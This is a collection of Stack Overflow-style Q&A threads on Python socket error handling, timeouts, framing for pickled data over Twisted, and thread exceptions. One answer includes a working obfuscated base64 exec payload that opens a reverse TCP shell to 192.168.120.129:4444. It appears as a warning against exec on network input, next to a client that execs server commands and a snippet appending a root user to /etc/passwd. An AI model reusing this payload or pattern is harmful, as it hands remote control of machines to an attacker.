How to properly handle socket exception - python

In my Python program I have a socket listening to incoming connections and when I run nmap on it, it closes abruptly as it resets the connection when scanning the port.
I tried putting an except: pass block on the end of my code, along with the following:
if __name__ == "__main__":
try:
listen()
except KeyboardInterrupt:
pass
But upon receiving the connection reset, it doesn't pass. It just closes the program without printing anything.
How might I solve this?
The server-side code responsible for receiving and next to it, the handling of info. Should I put something after the while block, or just an except?
connection.listen(10)
while True:
current_connection, address = connection.accept()
current_connection.send('Input:')
while True:
data = current_connection.recv(2048)
The error:
Traceback (most recent call last):
File "server.py", line 41, in <module>
listen()
File "server.py", line 12, in listen
current_connection.send('Input:')
socket.error: [Errno 104] Connection reset by peer

The way your code is structured, if you put an except: pass at the top-level, then when the exception occurs, it's only trapped at the top level and there's nothing in your code to cause it go back into your listen..accept code. You should instead trap the exception at the right spot in the code so that your code continues the outer while True loop.
In general. it's a good idea to place all socket operations that might ordinarily fail inside a try-except block. It's considered bad practice in python to have a bare except though -- as a bare except tends to hide errors in your code that should not be hidden. Hence, you'll typically do something like this:
connection.listen(10)
while True:
current_connection, address = connection.accept()
try:
current_connection.sendall('Input:')
while True:
data = current_connection.recv(2048)
if data == '':
break # End of file (peer socket was closed)
except socket.error as sockerr:
print("Socket exception on send/recv", sockerr)
current_connection.close()
Also, note that I replaced send with sendall. This ensures that the entire string will get sent. (With send, it's valid in some circumstances for fewer bytes to be sent than the entire string.)

Related

detect socket timeout when using "with" instead of "try"

Using python 3.6.8, I have the following code
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(20)
s.connect(host, port)
As I understand it, using with as shown instead of a try except block better handles the error condition that occurs if opening the socket (s.connect()) fails. How so? In the code as shown, if s.connect() times out, will it print a message? My main question is, can I detect that it timed out, e.g. to run some code if a timeout occurs? I want to be able to do that from within the with block without using try. I read this example
with opened_w_error("/etc/passwd", "a") as (f, err):
if err:
print "IOError:", err
else:
f.write("guido::0:0::/:/bin/sh\n")
But that doesn't detect the type of error. I read this as well
try:
with ContextManager():
BLOCK
except InitError: # raised from __init__
...
except AcquireResourceError: # raised from __enter__
...
except ValueError: # raised from BLOCK
...
except ReleaseResourceError: # raised from __exit__
But I'm hoping there is a way to detect if it's a timeout error from within the with block.

python sockets not connecting on two different machines

I recently learnt socket library in python. I'm coding a game's multiplayer server but before coding the whole multiplayer server I decided to code a small server just for seeing how a server works in python. When I coded the server it was awkward that my code was working fine when I ran the client and server on my own windows 10 computer , it connected and did it's work(it's work is two get the IP from hostname, but the client will send hostname and the code for getting IP is executed in the server and sent back to the client) but when I shared the client file with my friend then the client and server did not connect, there was no error message or something else, firewall is not blocking any connections, so why aren't they connecting? Here's the code in the server file(The print statements are just for making a loading bar effect):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
And the code in the client:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(ignore the commented code, I just kept it so I can copy it in other files when needed)
ADDITIONAL INFO(which I missed before): In the client.py file, you'll see the last few lines are a try and except OSError block. I added this block because I don't know why but when I run the client, I get this error:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
When I hide this error using the try and except blocks, there's no difference, the client works fine without showing any problems. Does anyone know why is this happening?
An operation was attempted on something that is not a socket usually means that you're attempting to do operations on a closed socket. I haven't run your code, but what I believe is happening is you have your server sending a single command to the client, then instructing the client to close. The client however attempts to accept infinite messages from the server; even after the client's socket has been closed.
Either have the client only accept a single message, or stop having the server tell the client to close itself.
I'd change the client code to something like this:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
And now the client can press ctrl+c to close itself when it wants to exit.
Also, do not ever use exec like you are; especially without checking what you're about to execute. If the server was ever compromised, or the server owner became malicious, or if you swapped it and had the client send commands to the server, you're opening yourself up to having the machine running exec to become compromised. If the sending end of the socket sent code like this for example:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
This would cause the exec'ing computer to start up a reverse TCP shell, and give control of their computer to the other machine! The other end would then be able to do anything they want on your computer (or, at least whatever they have the access rights to do).
You should never really ever use eval or exec unless it's used in a place where user's code will never enter it. Feeding user input directly into exec is extraordinarily dangerous and should be avoided at all costs.

Python socket programming - exception handling

I'm working on a basic socket client program in python and I'm not totally sure how to handle exceptions. This is what I did up to now:
TCP_IP = '..............'
TCP_PORT = 4950
MESSAGE = "o3"
BUFFER_SIZE = 2048
data = ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5.0)
try:
s.connect((TCP_IP, TCP_PORT))
except socket.error:
#write error code to file
s.close()
try:
s.sendall(MESSAGE)
except socket.error:
#write to file or whatever
s.close()
try:
data = s.recv(BUFFER_SIZE)
except socket.error:
#write to file or whatever
s.close()
finally:
s.close()
The code is working as I want, but I'm not sure if I should nest try/catch blocks or not? Should I put socket.socket into try/catch block too?
Second question, what will s.settimeout() do in my case? As far as I understood the documentation, it will throw an exception after 5 seconds, but for what? Just connect or will it do the same for sendall and recv?
Since you're doing exactly the same actions in all the exception blocks and catching the same socket.error exception, you could put s.connect, s.sendall and s.recv in the same try: block. Like so:
try:
s.connect((TCP_IP, TCP_PORT))
s.sendall(MESSAGE)
data = s.recv(BUFFER_SIZE)
except socket.error:
#write error code to file
finally:
s.close()
Note that since s.close is also in the finally section in your example, it will always get called, even after an exception has occurred. So you'd end up with another exception occurring when you try to close an already closed socket. By not putting it in the except block and only in finally, you can avoid that situation.
If you do intend to handle each error in a different way, then you can leave them separate as you already have. But make sure to break/return at the end of the exception block so that you don't try the next. It's done that way in the socket examples, by using a continue in the loop.
Nesting them would help if you wanted to do something different in the exception block. But if not you'd be repeating the except block every time. And if you wanted to do something different, when you exit the nested-trys, you wouldn't be certain of which level it has completed or raised an exception - would need to use flag values etc. to merely track that. So for your example of the same error handling code, at the very least, do something like this in your except block:
except socket.error as e:
socket_error_handler(e, s)
def socket_error_handler(exception, socket):
#write error code to file
etc.
Should I put socket.socket into try/catch block too?
They do that in the examples, linked above.
Apart from logging, you shouldn't really be doing the same exception handling at each stage. Probably need to handle those separately.
Part 2:
s.settimeout(5.0) sets the timeout for each socket operation, not just the first connect. Also implies that it's in blocking mode.

Is pickle not compatible with twisted?

I have made 2 application:
The client extract data from a sql server (10k lines), and send every line pickled to a "collector" server via socket.
The server uses twisted (this is mandatory) and receive every line, unpikle it and store the data in another sql server.
Everytime i start sending data from client to server, in the first 200 line (everytime a different line) the server throws an exception:
SOMETIMES it something like:
Traceback (most recent call last):
File "collector2.py", line 81, in dataReceived
self.count,account = pickle.loads(data)
File "/usr/lib/python2.6/pickle.py", line 1374, in loads
return Unpickler(file).load()
File "/usr/lib/python2.6/pickle.py", line 858, in load
dispatch[key](self)
File "/usr/lib/python2.6/pickle.py", line 1138, in load_pop
del self.stack[-1]
IndexError: list assignment index out of range
But it's NOT every time the same. Printing my exception i red:
Exception: pop from empty list
Exception: list index out of range
Exception: "'"
Exception: list assignment index out of range
Another strange errors is:
File "/usr/lib/python2.6/pickle.py", line 1124, in find_class
import(module)
exceptions.ImportError: No module named ond'
for i in listaSAI:
crm={}
try:
crm['uid']=i[0]
except:
crm['uid']=None
try:
crm['type_cond']=i[01]
except:
crm['type_cond']=None
try:
crm['population_id']=i[2]
except:
crm['population_id']=None
try:
crm['product_id']=i[3]
except:
crm['product_id']=None
try:
crm['a_id']=i[4]
except:
crm['a_id']=None
try:
crm['status']=i[5]
except:
crm['status']=None
#time.sleep(0.001)
serialized = pickle.dumps((count,crm))
#print "sent num", count, crm
s.sendall(serialized)
count += 1
And my server:
def dataReceived(self, data):
try:
self.count,account = pickle.loads(data)
except Exception as e:
print "Eccezione:", e
print self.count+1
print "DISAGIO", data
print traceback.print_exc()
Printing the data in my client tells me that everything it's ok.
If i try to slow down the process of sending using time.sleep(0.01) in my client, EVERYTHING IS FINE, and no exception are raised.
What can i do to debug my code?
p.s.
I suspect that exceptions.ImportError: No module named ond' refers to "type_cond" key in crm.
Since you have no problem when adding a delay between writes, it is clear the problem is not related to pickle, but to the transport of the data.
One option is that the client keeps writing data to the socket faster than the server can process it, resulting in buffer overflow and packet loss.
Or, do you have more than one thread writing to the socket potentially at the same time?
Your protocol has no framing, and you're trying to use a SOCK_STREAM (TCP connection) as if it were datagram-oriented (ie, as a SOCK_DGRAM, like UDP).
So you send some bytes that make up a complete pickled dataset, but the server has no idea where a particular pickle dataset begins or ends. Instead, the receiving code tries to unpickle whatever random chunk of bytes happens to be delivered to it.
As you've discovered, this works sometimes. However, there is no guarantee that the bytes you pass to sock.sendall will be delivered as a single group to dataReceived. You have to add framing so the receiver can discover message boundaries. There are several approaches to this. One approach is to add a length prefix. Then the receiver knows how many bytes to wait for and can unpickle them when it has received the correct number.
Of course, you should never ever unpickle data received over the network. See the big red box on http://docs.python.org/2/library/pickle.html? It's there because if you write a server like the one you're showing here, then you've written a server with a remote arbitrary code vulnerability in it big enough to drive a semi through.
Since your data seems fairly simple and structured, I suggest taking a look at AMP instead.

Python Threading Unhandled Exception

Questions
What is the reason for the exception?
Did the client cause any errors?
If at all possible, please explain other errors.
Background
I am creating a Python GUI socket Server. When a client connects to my server, the GUI window will open (I am still working on this). But, when a client does connect, I get an error:
Unhandled exception in thread started by <function clientthread at 0x10246c230>
Since the actual script is rather long, I have provided a pastebin link.
Here is the thread code. s is the name of my socket object.
def clientthread(s):
#Sending message to connected client
#This only takes strings (words
s.send("Welcome to the server. Type something and hit enter\n")
#loop so that function does not terminate and the thread does not end
while True:
#Receiving from client
data = s.recv(1024)
if not data:
break
s.sendall(data)
print data
s.close()
Traceback
Thanks for the suggestion Morten. Here is the traceback.
Socket Created
Socket Bind Complete
Socket now listening
Connected
Traceback (most recent call last):
File "/Users/BigKids/Desktop/Coding/Python 2/Sockets/Function/Server GUI Alpha Function.py", line 80, in clientthread
s.send("Welcome to the server. Type something and hit enter\n")
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py", line 170, in _dummy
raise error(EBADF, 'Bad file descriptor')
error: [Errno 9] Bad file descriptor
Personally, I believe that many errors are due to the GUI.
Thanks!
For one, you could catch the exception, print it and see what it is :)
Do this, for instance by surrounding it all with a try/except clause and printing whatever exception occurs.
def clientthread(s):
try:
#Sending message to connected client
#This only takes strings (words
s.send("Welcome to the server. Type something and hit enter\n")
#loop so that function does not terminate and the thread does not end
while True:
#Receiving from client
data = s.recv(1024)
if not data:
break
s.sendall(data)
print data
s.close()
except Exception:
import traceback
print traceback.format_exc()
I'm guessing the reason for this is client disconnect. This will cause an exception and you should handle it appropriately. If a client can disconnect in many ways. By telling you, by timing out, by dropping the connection while you're trying to send something etc.
All these scenarios are plausible exception cases, and you should test for them and handle them. Hopefully this will help you move on, if not, please comment :)

Categories